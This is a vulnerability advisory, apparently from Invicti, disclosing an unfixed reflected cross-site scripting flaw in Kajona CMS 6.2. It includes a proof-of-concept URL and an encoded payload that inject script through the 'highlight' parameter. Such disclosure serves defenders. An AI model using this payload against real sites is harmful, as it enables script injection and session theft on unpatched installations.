Cross-site Scripting vulnerability in Kajona CMS 6.2

Information

Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerability in Kajona CMS
Affected Software: Kajona CMS
Affected Versions: 6.2
Homepage: https://www.kajona.de
Vulnerability: Reflected Cross-Site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-21-004

Technical Details

URL: http://localhost:8080/index.php?highlight="+alert(0x0045AD)+"&page=subpage_1
Parameter Name: highlight
Parameter Type: GET
Attack Pattern: %22%2balert(0x0045AD)%2b%22

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

30th June 2021 – First Contact
22nd November 2021 – Advisory Released

Credits & Authors

These issues have been discovered by Ozgur Dinc while testing the Invicti Web Application Security Scanner.

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